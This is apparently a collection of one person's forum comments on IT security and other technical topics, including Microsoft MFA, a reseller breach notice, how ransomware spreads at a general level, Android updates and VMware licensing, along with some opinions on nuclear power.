Drain water heat recovery devices are available at the local hardware store and even required for new builds in some areas. Simple passive heat exchange device that loops the incoming water supply around the drain pipe for around 50% efficiency. With the break-even cost timeframe, and required proximity between the heater and drain, it's not a particularly popular retrofit.

Who says Microsoft doesn't care about the users? This rootkit is vetted for quality.

https://www.virustotal.com/gui/file/626fae47811450d080d08c3d9fd890aa64bfecdc45eacd42a40850c1833c8763/details

Autodiscover protocol is from Office and Exchange 2007. It was poor then, too.

Microsoft authenticator is treated differently from plain TOTP for their MFA service. It goes through a one-time registration process to collect device identifying bits, has some resistance to being backed up/restored to other devices, and so on. When used to approve/deny logins, they use the signal data from the device being logged into, the device with Authenticator, and past user behaviour for risk assessment. A failed assessment may prevent the "smooth" login process and demand more information before allowing a passwordless push-authentication login.

The app also allows for a basic challenge-response question to prevent blind authentication approvals. So far, this has been the device being logged into showing a two-digit number, and the app showing three different two-digit numbers. The user must pick the matching number and approve the login, or report it as unexpected.

The result is that the passwordless login still has multiple factors, just not necessarily the traditional ones. Something you have (smartphone), something you usually do (behaviour analytics), somewhere you usually approximately are (or at least could physically be based on geo-IP, the speed of travel, and more behaviour analytics), and something you intend (validated via challenge-response).

FIDO2 hardware keys are also available and are treated as being at par with the authenticator app since they also resist duplication, provide an intent factor, and have a non-repeatable registration process bound to uniquely identified hardware. Using a plain TOTP app is still allowed for Microsoft's regular password-MFA mode, but it provides fewer signals and is more prone to being stolen (less prone than a password, but more than an app or FIDO2 key registration). If they allow TOTP alone for passwordless authentication, which I have not tried, I would expect to be confronted with step-up authentication prompts much more frequently.

from https://old.reddit.com/r/sysadmin/comments/oeye93/psa_revoke_delegated_admin_from_synnex_if_they

Dear Valued CSP Partner,

We are sending you this message to inform you that we experienced a few instances in which outside actors attempted to gain access to Microsoft cloud customers’ environment, or CSP customers, through our external Office365 platform.

As a customer that uses this provisioning platform, we want to inform you that you and your customers do not appear to be among those that have been impacted.

We have been partnering with Microsoft and CrowdStrike to confirm our findings. We will provide updates to you as necessary.

It is important to remain alert. Please call us if you see any sign of security intrusion. And please email questions about this cybersecurity attack to x.

We value our relationships with you, and we appreciate the trust you place in us.

The RNC, as a customer of Synnex who is reselling Office 365/Azure services, may have been attacked through a delegated administration authorization. The minimum required privileges for the CSP to provide licensing services is not full administration rights. CSPs want this access because it makes their job easier and allows them to do more for their customers (ie: this is the "added value" in "value added reseller").

The customer may choose, but Microsoft does not make it terribly clear to CSP customers that delegating tenant administration is effectively outsourcing their cloud security to the CSP, and represents significant risk. Indeed, some creative use of Intune/MEM policies can direct custom scripting right down to desktops in a similar manner as the recent Kaseya attack. Protecting administration portals is crucial.

I'd be personally very happy to have the airport in my backyard packed up and turned into a nuclear power plant. Passing aircraft can be obnoxiously loud, but when there's a queue of them waiting for the deicing station, it's just ridiculous. If that would also help spur replacement of noisy and filthy diesel public transport buses with battery-electric or hydrogen and powered rail, I'm really struggling to see the downside.

I get that not everyone has a backyard that sucks and would stand to be improved with vistas of cement cooling towers, but it's not impossible to find places with tectonic stability and water that are at least somewhat out of the way, then run transmission lines. It's a solvable problem and we're not doomed unless we buy into the despair.

Pointing to a heat wave and claiming climate change is no less fearmongering than pointing at a cold snap and claiming a hoax is denialism.

Anyone claiming that they have a solution right now that isn't nuclear power, or that there is no solution, is just preying on emotion and selling you politics. The best time to build safe, reliable, and clean fission plants is 10 years ago. The next best time is today.

It's an initial failure, followed by an abuse of chains of trust. Malicious document gets downloaded, and then Windows trusts that Word is allowed to interact with the Scheduled Tasks API, which is trusted to launch PowerShell, which is trusted to download further content from the Internet, which is trusted to extract saved credentials, which are trusted by other computers on the network, and so on.

Once enough administrative control is established on the network, any active security services are crippled and the encryption starts.

Windows is really bad at defending against this with out-of-the-box capabilities. Slapping on more measures like AppLocker to restrict unexpected binaries, scripts, and binary compilation tools, and EDR products to trace unusual behaviours and detain suspect systems can help, but does nothing against the fundamental principle of Windows basing trust on user identity alone instead of user identity + application identity + system state/context. A better security model like in iOS (locally) and OAuth2 (cloud services) is necessary to stop this, where least privilege is a platform-enforced given. And, as much as it's easy to rag on Windows, most things which rely on a plain username/password for protecting editable or private user data is at risk.

As for who to blame? There's more than enough fault to pass a bevy of blame around to everyone, but fundamentally it's those who pay the ransom. You get more of what you fund. A weakly defended system can go unnoticed for an incredible length of time when not under constant siege, but the unbelievable money in ransomware has ensured that the siege is unending and ever escalating in skill.

Part of the story is how some single-player titles still fail to launch when offline on a 'home' Xbox, which is ostensibly a bug to be rectified, and the other part is how cross-generation Smart Delivery-enabled titles delivered on disc can't install from the disc while fully offline and be successfully played on a Series X console. Also some gripes about Game Pass having no offline grace period for license usage, but that's more of a policy disagreement than anything.

MVG isn't just some idiot with a blog, the dude actually does minor homebrew dev on multiple consoles and is a fairly prominent console gaming and console security historian. Be less dismissive.

TCP window scaling is part of what causes that peculiar bandwidth chart shape. Not a malevolent operator in the middle, but a negotiation between your client and the remote server starting with safe assumptions that will get okay performance on most connections, and then optimizing performance for what the link allows as the transfer continues. Some bandwidth test services also start additional simultaneous streams until the connection is saturated, which further compounds the "ramp-up" effect.

That doesn't preclude a poor connection for other reasons such as line signal quality, bad traffic shaping implementations, congestion, overprovisioning, misbehaving security inspection hardware/software, or buggy network acceleration chips somewhere in the mix. Internet's chocked right full of points of failure, and your typical modem installation technician isn't going to understand most. What makes for "good Internet" is surprisingly nuanced.

VMware changed their licensing last year to count a "CPU" as "up to 32 cores". It's a real double-dip on dual socket systems, so a shiny new dual socket server with 40-core chips counts as four CPUs, despite actually representing under three 32-core units. Be sure to plan around this. https://www.vmware.com/company/news/updates/cpu-pricing-model-update-feb-2020.html

Software Reporter Tool and Chrome Cleanup integrate a version of ESET's general Windows antimalware engine and check far more than just the plugins list. It's efficient for what it does, but there's no mistaking when it has decided to run a more complete checkup of things on a less-than-potent computer. It'll chew on the CPU and disk for multiple minutes.

Significant security-relevant parts of Android don't get updates through the Play Store. Google's been working to change that through Project Mainline, but that's been a slow-going process. It's still far off from handling kernel updates, so privilege escalation issues and attacks against radio interfaces like Bluetooth will remain difficult, if not impossible to handle without a ROM update.

For now, most older Android devices remain only as secure as the Chrome sandbox. Defense in depth has been lost. Using a non-OEM ROM is a great option, but comes with more downsides now that features some people enjoy like Google & Samsung's payment card emulation and Widevine DRM (ie: HD Netflix) are tied to the SafetyNet/ctsProfile state with increasingly in-depth measures. Non-OEM ROMs also frequently use old drivers ("blobs") which may not get security patches, and those same old drivers are what bind old devices to old kernel versions.

Linux's lack of a stable ABI was supposed to strong-arm hardware vendors into open-sourcing their drivers. Instead we have hardware locked to old kernel versions because of hardware drivers kept closed-source and abandoned by the vendor immediately after launch. Feels bad.

The controls, especially in full screen, are disturbingly bright against a lot of video content. If the new UI is just a dark mode toggle, I think a round of applause and handshakes all around for a successful 4.0 launch would be in order.

They mean regular FTP. The old one that treats the TCP client/server model as merely a suggestion.

Good riddance.